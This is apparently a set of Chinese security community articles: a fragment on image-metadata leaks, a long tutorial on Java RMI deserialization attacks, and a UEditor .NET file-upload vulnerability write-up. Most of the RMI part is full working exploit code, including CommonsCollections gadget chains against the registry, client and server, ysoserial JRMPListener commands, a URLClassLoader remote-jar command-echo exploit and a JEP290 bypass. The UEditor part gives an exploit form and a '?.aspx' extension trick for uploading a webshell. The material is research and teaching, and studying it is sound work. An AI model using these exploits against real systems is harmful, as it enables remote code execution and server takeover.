获取拍摄者姓名等信息； 3. 获取拍摄者设备信息，其中设备信息可以作为相关证据的使用。 如何避免自己的位置通过图片泄露？ 1. 关闭相机的地理位置信息记录功能； 2. 第三方相机APP取消定位权限的使用； 3. 发送图片非必要情况下不要使用原图发送； 4. 通过压缩图片软件或者其余图片处理软件提前处理； 5. 使用元数据编辑器修改原始数据或者删除； 6. 在自己的地理位置不想被其他人知道时候，拍摄照片时应避免一些特征点的摄入，包括但不限于车牌号、电话号码、标志性建筑物、门店名、楼盘名等等。 ## 最后的话 女神，再见！ 醒醒，醒醒！要什么女朋友，看了这么多，不妨我来留个实践图片，各位可尝试分析该图片，看看能得到什么有效信息。 原图图片网盘下载：<https://pan.baidu.com/s/1486bNo-HtfMt6CLyBnycDw> 提取码:ianr 敬请期待下一期情报分析之图片信息挖掘，将为你带来更深入的图片分析技巧与实战经验。
社区文章
# 什么是RMI RMI是远程方法调用的简称，能够帮助我们查找并执行远程对象的方法。通俗地说，远程调用就象将一个class放在A机器上，然后在B机器中调用这个class的方法。 RMI（Remote Method Invocation），为远程方法调用，是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中，也可以是运行在网络上的不同计算机中。 Java RMI（Java Remote Method Invocation），是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。 从客户端-服务器模型来看，客户端程序直接调用服务端，两者之间是通过JRMP（ Java Remote Method Protocol）协议通信，这个协议类似于HTTP协议，规定了客户端和服务端通信要满足的规范。 在RMI中对象是通过序列化方式进行编码传输的 RMI分为三个主体部分： * Client-客户端：客户端调用服务端的方法 * Server-服务端：远程调用方法对象的提供者，也是代码真正执行的地方，执行结束会返回给客户端一个方法执行的结果 * Registry-注册中心：其实本质就是一个map，相当于是字典一样，用于客户端查询要调用的方法的引用，在低版本的JDK中，Server与Registry是可以不在一台服务器上的，而在高版本的JDK中，Server与Registry只能在一台服务器上，否则无法注册成功 总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样 唯一区别就是RMI服务端提供的方法，被调用的时候该方法是执行在服务端 # RMI交互过程 如图所示 # RMI客户端与服务端实现 1.服务端编写一个远程接口 import java.rmi.Remote; import java.rmi.RemoteException; public interface rmi extends Remote { public String hello() throws RemoteException; } 这个接口需要 * 使用public声明，否则客户端在尝试加载实现远程接口的远程对象时会出错。（如果客户端、服务端放一起没关系） * 同时需要继承Remote类 * 接口的方法需要声明java.rmi.RemoteException报错 * 服务端实现这个远程接口 import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class RemoteClass extends UnicastRemoteObject implements rmi{ public RemoteClass() throws RemoteException { System.out.println("构造方法"); } public String hello() throws RemoteException { System.out.println("hello,world"); return "hello,world"; } } 这个实现类需要 * 实现远程接口 * 继承UnicastRemoteObject类，貌似继承了之后会使用默认socket进行通讯，并且该实现类会一直运行在服务器上（如果不继承UnicastRemoteObject类，则需要手工初始化远程对象，在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法） * 构造函数需要抛出一个RemoteException错误 * 实现类中使用的对象必须都可序列化，即都继承java.io.Serializable * 注册远程对象 import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Server { public static void main(String[] args) throws RemoteException { rmi hello = new RemoteClass();//创建远程对象 Registry registry = LocateRegistry.createRegistry(1099);//创建注册表 registry.rebind("hello",hello);//将远程对象注册到注册表里面，并且设置值为hello } } 关于绑定的地址很多地方会rmi://ip:port/Objectname的形式，实际上看rebind源码就知道RMI:写不写都行，port如果默认是1099，不写会自动补上，其他端口必须写 那么服务端就部署好了，来看客户端 2.客户端部署 import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);//获取远程主机对象 // 利用注册表的代理去查询远程注册表中名为hello的对象 RemoteClass hello = (RemoteClass) registry.lookup("hello"); // 调用远程方法 System.out.println(hello.hello()); } } 那么先运行服务端，再运行客户端，就可以完成调用 # RMI反序列化的攻击方式 ## 攻击注册中心 我们与注册中心进行交互可以使用如下几种方式 * list * bind * rebind * unbind * lookup 这几种方法位于RegistryImpl_Skel#dispatch中，如果存在readObject，则可以利用(具体流程分析可以参考p1g3师傅的过程<https://payloads.info/2020/06/21/Java%E5%AE%89%E5%85%A8-RMI-%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/#%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90>) dispatch里面对应关系如下 * 0->bind * 1->list * 2->lookup * 3->rebind * 4->unbind **list** case 1: var2.releaseInputStream(); String[] var97 = var6.list(); try { ObjectOutput var98 = var2.getResultStream(true); var98.writeObject(var97); break; } catch (IOException var92) { throw new MarshalException("error marshalling return", var92); } 这里没有readObject所以无法利用 **bind &rebind** case 0: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var94) { throw new UnmarshalException("error unmarshalling arguments", var94); } catch (ClassNotFoundException var95) { throw new UnmarshalException("error unmarshalling arguments", var95); } finally { var2.releaseInputStream(); } var6.bind(var7, var8); try { var2.getResultStream(true); break; } catch (IOException var93) { throw new MarshalException("error marshalling return", var93); } case 3: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var85) { throw new UnmarshalException("error unmarshalling arguments", var85); } catch (ClassNotFoundException var86) { throw new UnmarshalException("error unmarshalling arguments", var86); } finally { var2.releaseInputStream(); } var6.rebind(var7, var8); try { var2.getResultStream(true); break; } catch (IOException var84) { throw new MarshalException("error marshalling return", var84); } 当调用bind时，会用readObject读出参数名以及远程对象，此时则可以利用 当调用rebind时，会用readObject读出参数名和远程对象，这里和bind是一样的，所以都可以利用 如果服务端存在cc1相关组件漏洞，那么就可以使用反序列化攻击 POC: import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static void main(String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); registry.bind("test",r); } } Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象 **unbind &lookup** case 2: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var89) { throw new UnmarshalException("error unmarshalling arguments", var89); } catch (ClassNotFoundException var90) { throw new UnmarshalException("error unmarshalling arguments", var90); } finally { var2.releaseInputStream(); } var8 = var6.lookup(var7); case 4: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var81) { throw new UnmarshalException("error unmarshalling arguments", var81); } catch (ClassNotFoundException var82) { throw new UnmarshalException("error unmarshalling arguments", var82); } finally { var2.releaseInputStream(); } var6.unbind(var7); 这里也有readObject，但是和bind以及rebind不一样的是只能传入String类型，这里我们可以通过伪造连接请求进行利用，修改lookup方法代码使其可以传入对象，原先的lookup方法 Registry_Stub#lookup public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L); try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("error marshalling arguments", var18); } super.ref.invoke(var2); Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } catch (IOException var15) { throw new UnmarshalException("error unmarshalling return", var15); } catch (ClassNotFoundException var16) { throw new UnmarshalException("error unmarshalling return", var16); } finally { super.ref.done(var2); } return var23; } catch (RuntimeException var19) { throw var19; } catch (RemoteException var20) { throw var20; } catch (NotBoundException var21) { throw var21; } catch (Exception var22) { throw new UnexpectedException("undeclared checked exception", var22); } } POC如下： import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import sun.rmi.server.UnicastRef; import java.io.ObjectOutput; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map; public class Client { public static void main(String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); // 获取ref Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry); //获取operations Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry); // 伪造lookup的代码，去伪造传输信息 RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(r); ref.invoke(var2); } } ## 攻击客户端 ### 注册中心攻击客户端 此方法可以攻击客户端和服务端 对于注册中心来说，我们还是从这几个方法触发： * bind * unbind * rebind * list * lookup 除了unbind和rebind都会返回数据给客户端，返回的数据是序列化形式，那么到了客户端就会进行反序列化，如果我们能控制注册中心的返回数据，那么就能实现对客户端的攻击，这里使用ysoserial的JRMPListener，命令如下 java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app' 然后使用客户端去访问 import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345); registry.list(); } } 就成功实现客户端的RCE 这里即使调用unbind也会触发反序列化，推测是在之前传输一些约定好的数据时进行的序列化和反序列化。所以实际上这五种方法都可以达到注册中心反打客户端或服务端的目的 ### 服务端攻击客户端 服务端攻击客户端，大抵可以分为以下两种情景。 1.服务端返回参数为Object对象 2.远程加载对象 在RMI中，远程调用方法传递回来的不一定是一个基础数据类型（String、int），也有可能是对象，当服务端返回给客户端一个对象时，客户端就要对应的进行反序列化。所以我们需要伪造一个服务端，当客户端调用某个远程方法时，返回的参数是我们构造好的恶意对象。这里以cc1为例 恶意类LocalUser import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map; public class LocalUser extends UnicastRemoteObject implements User { public String name; public int age; public LocalUser(String name, int age) throws RemoteException { super(); this.name = name; this.age = age; } public Object getUser(){ InvocationHandler handler = null; try { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map) constructor.newInstance(innermap, chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map); }catch(Exception e){ e.printStackTrace(); } return (Object)handler; } } User接口 import java.rmi.RemoteException; public interface User extends java.rmi.Remote { public Object getUser() throws RemoteException; } 服务端 import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.concurrent.CountDownLatch; public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException { User liming = new LocalUser("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); System.out.println("registry is running..."); System.out.println("liming is bind in registry"); CountDownLatch latch=new CountDownLatch(1); latch.await(); } } 客户端 import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User) registry.lookup("user"); user.getUser(); } } 当客户端调用服务端绑定的远程对象的getUser方法时，将反序列化服务端传来的恶意远程对象。此时将触发RCE ### 加载远程对象 这个条件十分十分苛刻，在现实生活中基本不可能碰到。 当服务端的某个方法返回的对象是客户端没有的时，客户端可以指定一个URL，此时会通过URL来实例化对象。 具体可以参考这篇文章，利用条件太过于苛刻了：<https://paper.seebug.org/1091/#serverrmi-server> `java.security.policy`这个默认是没有配置的，需要我们手动去配置 ## 攻击服务端 上面说了利用注册中心攻击客户端，同样的方法也可以攻击服务端，这里说一下客户端攻击服务端的方式 ### 当服务端的远程方法存在Object参数的情况下 如果服务端的某个方法，传递的参数是Object类型的参数，当服务端接收数据时，就会调用readObject，所以我们可以从这个角度入手来攻击服务端。 我们写一个addUser方法，是接收Object类型参数的 import java.rmi.RemoteException; public interface User extends java.rmi.Remote { public Object getUser() throws RemoteException; public void addUser(Object user) throws RemoteException; } 当客户端调用这个方法时候，服务端会对其传递的参数进行反序列化。 Client Demo: import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static void main(String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User) registry.lookup("user"); user.addUser(handler); } } ### 远程加载对象 和上边Server打Client一样利用条件非常苛刻。 参考：<https://paper.seebug.org/1091/#serverrmi> ## 利用URLClassLoader实现回显攻击 攻击注册中心时，注册中心遇到异常会直接把异常发回来，返回给客户端。这里我们利用URLClassLoader加载远程jar，传入服务端，反序列化后调用其方法，在方法内抛出错误，错误会传回客户端 远程demo: import java.io.BufferedReader; import java.io.InputStreamReader; public class ErrorBaseExec { public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } } 通过如下命令制作成jar包 javac ErrorBaseExec.java jar -cvf RMIexploit.jar ErrorBaseExec.class 客户端POC: import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.URLClassLoader; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; //注册中心ip int port = 1099; //注册中心端口 String remotejar = 远程jar; String command = "whoami"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("liming", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } } # JEP290及其绕过 ## JEP290介绍 `JEP290`机制是用来过滤传入的序列化数据，以提高安全性，在反序列化的过程中，新增了一个`filterCheck`方法，所以，任何反序列化操作都会经过这个`filterCheck`方法，利用`checkInput`方法来对序列化数据进行检测，如果有任何不合格的检测，`Filter`将返回`REJECTED`。但是`jep290`的`filter`需要手动设置，通过`setObjectInputFilter`来设置`filter`，如果没有设置，还是不会有白名单。 private static Status registryFilter(FilterInfo var0) { if (registryFilter != null) { Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } } if (var0.depth() > (long)REGISTRY_MAX_DEPTH) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 == null) { return Status.UNDECIDED; } else { if (var2.isArray()) { if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) { return Status.REJECTED; } do { var2 = var2.getComponentType(); } while(var2.isArray()); } if (var2.isPrimitive()) { return Status.ALLOWED; } else { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } } } } 设置的白名单如下 String.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class JEP290本身是JDK9的产物，但是Oracle官方做了向下移植的处理，把JEP290的机制移植到了以下三个版本以及其修复后的版本中： * Java™ SE Development Kit 8, Update 121 (JDK 8u121) * Java™ SE Development Kit 7, Update 131 (JDK 7u131) * Java™ SE Development Kit 6, Update 141 (JDK 6u141) 以8u131作为测试 被拦截，返回`REJECTED` ## JEP290的绕过 Bypass的思路应该是从上面白名单的类或者他们的子类中寻找复写readObject利用点。 我们通过getRegistry时获得的注册中心，其实就是一个封装了UnicastServerRef对象的对象: 当我们调用bind方法后，会通过UnicastRef对象中存储的信息与注册中心进行通信: 这里会通过ref与注册中心通信，并将绑定的对象名称以及要绑定的远程对象发过去，注册中心在后续会对应进行反序列化 接着来看看yso中的JRMPClient： ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; 这里返回了一个代理对象，上面用的这些类都在白名单里，当注册中心反序列化时，会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法（因为RemoteObjectInvacationHandler没有readObject方法），在readObject里的最后一行会调用ref.readExternal方法，并将ObjectInputStream传进去： ref.readExternal(in); UnicastRef#readExternal public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { this.ref = LiveRef.read(var1, false); } LiveRef#read 这里在上边会把LiveRef对象还原，LiveRef对象中存了我们序列化进去的ip和端口，之后会调用DGCClient#registerRefs tatic void registerRefs(Endpoint var0, List<LiveRef> var1) { DGCClient.EndpointEntry var2; do { var2 = DGCClient.EndpointEntry.lookup(var0); } while(!var2.registerRefs(var1)); } var2这里转回来的是一个DGCClient对象，里边同样封装了我们的端口信息，接着看到registerRefs方法中的`this.makeDirtyCall(var2, var3);` 这里会调到DGCClient#makeDirtyCall，并把var2传进去，var2里封装了我们的endpoint信息 Lease var7 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue)); 这里会进到dirty方法中，var4是我们传进去的ObjID对象，var1是一个HashSet对象，里边存了我们的Endpoint信息 public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException { try { RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L); try { ObjectOutput var6 = var5.getOutputStream(); var6.writeObject(var1); var6.writeLong(var2); var6.writeObject(var4); } catch (IOException var20) { throw new MarshalException("error marshalling arguments", var20); } super.ref.invoke(var5); try { ObjectInput var9 = var5.getInputStream(); var24 = (Lease)var9.readObject(); 这里wirteObject后，会用invoke将数据发出去，接下来从socket连接中先读取了输入，然后直接反序列化，此时的反序列化并没有设置filter，所以这里可以直接导致注册中心rce，所以我们可以伪造一个socket连接并把我们恶意序列化的对象发过去 我们利用ysoserial启动一个恶意的服务端 java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a Calculator" 对应客户端代码 import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class Client { public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("127.0.0.1",7777); ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("hello",proxy); } } 同理使用unbind、rebind、lookup也是可以的，该方式在JDK<=8u231时可用，在8u241被修复 (Ps:JEP290感觉还不是很清楚，我的理解是建立一个socket连接传输数据，注册中心会直接进行反序列化，不会先进行filter)
社区文章
ue下载地址 <http://http://ueditor.baidu.com/website/download.html> exp <form action="http://192.168.1.103/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr:<input type="text" name="source[]" /></p > <inputtype="submit" value="Submit" /> </form> 我们首先来看一下目录结构 ue是一个典型的net web bin目录和app_code目录其中bin下面引用的是jsondll 因此这里我们不分析dll 主要还是看app_code目录下面的cs文件 首先随便跟进一个方法看看有没有任意文件上传的可能性 首先看到uploadimages方法 而这里正好是因为引用了上面的dll 所以可以直接加载json 这里第一步先实例化UploadHandler类 然后第二部从json获取各种配置信息 穿给类里面的值 传递完成值后直接开始上传方法 然后对上传文件进行判断 我们跟进方法 那么漏洞是怎么形成的呐？ 漏洞在CrawlerHandler这个类里面 如果访问则直接判断返回文件的ContentType 这里我们可以直接Content-Type: image/png绕过 这里先传入source[] 然后实列化Crawler类 我们进入这个class查看 首先通过IsExternalIPAddress方法判断是否是一个可被DNS解析的域名地址 那么他文件名是怎么获取的呐？ 这里可以很清楚的看见也是SYSTEM.IO里面的个体filename获取最后一个点结尾的 但是我们又不能以.aspx结尾 这里问好就起作用了，再url里面1.gif?.aspx会被默认当成1.gif解析但是传递给我们的文件ext却是.aspx结尾的 所以漏洞由此造成 参考 <https://www.freebuf.com/vuls/181814.html>
社区文章
